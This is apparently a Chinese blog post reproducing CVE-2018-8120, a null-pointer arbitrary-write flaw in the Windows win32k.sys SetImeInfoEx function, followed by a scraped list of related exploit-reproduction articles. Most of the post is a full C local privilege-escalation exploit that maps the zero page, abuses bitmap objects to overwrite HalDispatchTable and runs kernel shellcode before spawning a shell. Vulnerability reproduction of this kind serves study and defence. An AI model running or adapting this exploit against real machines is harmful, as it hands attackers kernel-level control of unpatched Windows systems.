CVE-2018-8120 漏洞复现

漏洞描述

win32k.sys中函数 SetImeInfoEx未对指针进行合法性检查,从而导致一个任意地址写。

漏洞分析

漏洞成因

int __stdcall SetImeInfoEx(int ProcessWindowStation, _DWORD *userBuf)
{
int result; // eax
_DWORD *v3; // eax
_DWORD *v4; // eax result = ProcessWindowStation;
if ( ProcessWindowStation )
{
v3 = *(_DWORD **)(ProcessWindowStation + 0x14);// 没有判断v3的合法性
while ( v3[5] != *userBuf )
{
v3 = (_DWORD *)v3[2];
if ( v3 == *(_DWORD **)(ProcessWindowStation + 0x14) )
return 0;
}
v4 = (_DWORD *)v3[0xB]; // v4可以被控制
if ( !v4 )
return 0;
if ( !v4[18] )
qmemcpy(v4, userBuf, 0x15Cu); // 任意地址写0x15C字节
return 1;
}
return result;
}

这里的 v3在取出 ProcessWindowStation + 0x14处的指针时,没有对其合法性进行检查,可能为 0。如果我们可以申请到 0地址处的内存,就可以控制 v4,之后 memcpy即可实现任意地址写。

利用手法

当我们使用 CreateWindowStation创建一个新的窗口时,他的 ProcessWindowStation + 0x14会默认为 0。此时我们在通过 NtAllocateVirtualMemory分配内存,并控制好 0地址处相对应的值,便可以实现任意地址写。再利用 bitMap实现更精确的任意地址写,覆盖函数 NtQueryIntervalProfile的函数指针,实现控制程序执行流的目的。

exp

#include<stdio.h>
#include<Windows.h>
#include<Psapi.h>
#include<profileapi.h> #include "x86-header.h" DWORD gSyscall = 0x1226;
__declspec(naked) void NtUserSetImeInfoEx(PVOID a)
{
_asm
{
mov esi, a;
mov eax, gSyscall;
mov edx, 0x7FFE0300;
call dword ptr[edx];
ret 4;
}
} int main()
{
puts("[+] Preparing Bitmap...");
unsigned int ibuf[0x60] = { 0x90 };
HANDLE BManager = CreateBitmap(0x60, 1, 1, 32, ibuf);
HANDLE BWorker = CreateBitmap(0x60, 1, 1, 32, ibuf);
PVOID Mpvscan0 = getpvscan0(BManager);
PVOID Wpvscan0 = getpvscan0(BWorker);
printf("[*] Get Manager: 0x%p\n", Mpvscan0);
printf("[*] Get Worker: 0x%p\n", Wpvscan0); puts("[+] Preparing vul...");
HWINSTA hSta = CreateWindowStation(
0, //LPCSTR lpwinsta
0, //DWORD dwFlags
READ_CONTROL, //ACCESS_MASK dwDesiredAccess
0 //LPSECURITY_ATTRIBUTES lpsa
);
SetProcessWindowStation(hSta); puts("[*] Get ntdll Module");
HMODULE hModule = LoadLibraryA("ntdll.dll");
if (hModule == 0)
{
puts("Failed to load ntdll.dll");
return 0;
}
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hModule, "NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == 0)
{
puts("Failed to resolve NtAllocateVirtualMemory");
return 0;
} PVOID ZeroAddr = 1;
ULONG size = 0x1000;
int NTStatus = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &ZeroAddr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (NT_SUCCESS(NTStatus) == 0 || ZeroAddr != 0)
{
puts("Failed to Allocate to 0 addr");
printf("Alloc: 0x%p\n", ZeroAddr);
return 0;
}
printf("Alloc Virtual Memory: 0x%p\n", ZeroAddr); *(DWORD*)(0x14) = (DWORD)(Wpvscan0);
*(DWORD*)(0x2C) = (DWORD)(Mpvscan0); puts("[+] Trigger vul, modify Manager pvscan0");
char buf[0x200];
memset(buf, 0, sizeof(buf));
PVOID* p = (PVOID*)&buf;
p[0] = (PVOID)Wpvscan0;
DWORD* pp = (DWORD*)&p[1];
pp[0] = 0x180;
pp[1] = 0x1d95;
pp[2] = 6;
pp[3] = 0x10000;
pp[5] = 0x4800200; NtUserSetImeInfoEx(buf); PVOID pNtkrnlpaBase = GetKernelBase("ntkrnlpa.exe");
printf("[*] Get ntkrnlpa.exe kernel base: 0x%p\n", pNtkrnlpaBase); HMODULE ntkrnlpaBase = LoadLibraryA("ntkrnlpa.exe");
if (ntkrnlpaBase == 0)
{
puts("Failed to load ntkrnlpa.exe");
return 0;
}
PVOID pUserSpaceAddress = GetProcAddress(ntkrnlpaBase, "HalDispatchTable"); DWORD HalDispatchTable_4 = (DWORD)pNtkrnlpaBase + ((DWORD)pUserSpaceAddress - (DWORD)ntkrnlpaBase) + 4;
if (HalDispatchTable_4 != 0)
printf("[*] Get HalDispatchTable+0x4 0x%lx\n", HalDispatchTable_4); PVOID pOrg = 0;
PVOID sc = &ShellCode; SetBitmapBits((HBITMAP)BManager, sizeof(PVOID), &HalDispatchTable_4);
GetBitmapBits((HBITMAP)BWorker, sizeof(PVOID), &pOrg);
SetBitmapBits((HBITMAP)BWorker, sizeof(PVOID), &sc); NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hModule, "NtQueryIntervalProfile");
if (NtQueryIntervalProfile == 0)
{
puts("Failed to resolve NtQueryIntervalProfile");
return 0;
}
DWORD interVal = 0;
NtQueryIntervalProfile(0x1337, &interVal);
SetBitmapBits((HBITMAP)BWorker, sizeof(PVOID), &pOrg);
CreateCmd(); return 0;
}

参考链接

https://blog.csdn.net/qq_38025365/article/details/106321131

https://blog.csdn.net/qq_38025365/article/details/106343443

https://www.freebuf.com/vuls/174183.html

https://blog.csdn.net/qq_36918532/article/details/123717955

https://zhuanlan.zhihu.com/p/510326660

https://zhuanlan.zhihu.com/p/51422777

CVE-2018-8120 漏洞复现的更多相关文章

  1. struts2(s2-052)远程命令执行漏洞复现

    漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...

  2. 8.Struts2-057漏洞复现

    漏洞信息: 定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行. url标签未设置va ...

  3. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  4. Windows CVE-2019-0708 远程桌面代码执行漏洞复现

    Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...

  5. 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞

    漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...

  6. ghostscript远程代码执行漏洞复现

    这两天网上ghostscript又又有漏洞信息了,但是没有poc,于是找找资料把今年8月21日的那个验证下 1.关于ghostscript Ghostscript是一套建基于Adobe.PostScr ...

  7. 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复

    20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ...

  8. Ecshop 2.x_3.x SQL注入和代码执行漏洞复现和分析

    0x00 前言 问题发生在user.php的的显示函数,模版变量可控,导致注入,配合注入可达到远程代码执行 0x01 漏洞分析 1.SQL注入 先看user.php的$ back_act变量来源于HT ...

  9. [漏洞复现]CVE-2018-4887 Flash 0day

    1.漏洞概述 2018年2月1号,Adobe官方发布安全通报(APSA18-01),声明Adobe Flash 28.0.0.137及其之前的版本,存在高危漏洞(CVE-2018-4878). 攻击者 ...

  10. CVE-2018-15982漏洞复现

    作者:欧根 漏洞信息:CVE-2018-15982 Adobe已发布适用于Windows,macOS,Linux和Chrome OS的Adobe Flash Player安全更新.这些更新解决一个  ...

随机推荐

  1. R 语言柱状图示例笔记

    由于微信不允许外部链接,你需要点击文章尾部左下角的 "阅读原文",才能访问文章中链接. 一.基础柱状图 1. barplot 命令 基于barplot基础柱状图颜色.方向及分组的绘 ...

  2. 【论文阅读】Uformer:A General U-Shaped Transformer for Image Restoration

    前言 博客主页:睡晚不猿序程 首发时间:2023.6.8 最近更新时间:2023.6.8 本文由 睡晚不猿序程 原创 作者是蒻蒟本蒟,如果文章里有任何错误或者表述不清,请 tt 我,万分感谢!orz ...

  3. xpoc漏洞使用与编写 浅尝

    下载地址 https://github.com/chaitin/xpoc/releases 目前最新版本是 0.0.4 可能是我还是不太习惯yaml这种结构的,感觉就很反人类,所以我以前一般都还是po ...

  4. 【TVM教程】 自定义relay算子

    本文地址:https://www.cnblogs.com/wanger-sjtu/p/15046641.html 本文为tvm 教程的翻译版.这部分介绍了如何在tvm中添加新的relay算子,具体的是 ...

  5. asp登录认证,记录最后一次登录时间,写入数据库代码

    最近开发了一个船员招聘网的程序,但是由于部分功能需要配合ASP代码才能使用,所以就发现以前写的这个asp登录认证代码,今天就将他公布一下. <!--#include file="con ...

  6. Sentieon | 每周文献-Genetic Disease-第二期

    遗传病系列文章-1 标题(英文):Answer ALS, a large-scale resource for sporadic and familial ALS combining clinical ...

  7. 规则引擎 ice

    目录 项目介绍 服务安装 创建数据库(MySQL) 下载安装 服务(启动.停止.重启) 打开后台 Client接入(Spring Boot) 示例 添加配置 新增 ICE liteflow 更适应我们 ...

  8. 【Mybatis】动态SQL

    目录 动态SQL if语句 动态SQL if+where语句 动态SQL if+set语句 动态SQL choose(when,otherwise)语句 动态SQL trim语句 动态SQL SQL片 ...

  9. 包管理工具npm和Yarn的区别,我们该如何选择?

    好家伙,学习新工具    1.为什么我们需要包管理器? 关于npm我们已经知道了,这是我们项目的包管理器, 我们现在用的无比顺手的工具,都是在无数的竞争中杀出来的,他们淘汰了无数的产品   首先,倘若 ...

  10. 浅析本地缓存技术-Guava Cache

    1 引言 作为java开发工作者,相信大家对于guava这个工具包都不会太陌生,而对于本地缓存技术guava cache,大家在日常的工作开发中也都有所了解,接下来本文就从各个角度入手来对于Googl ...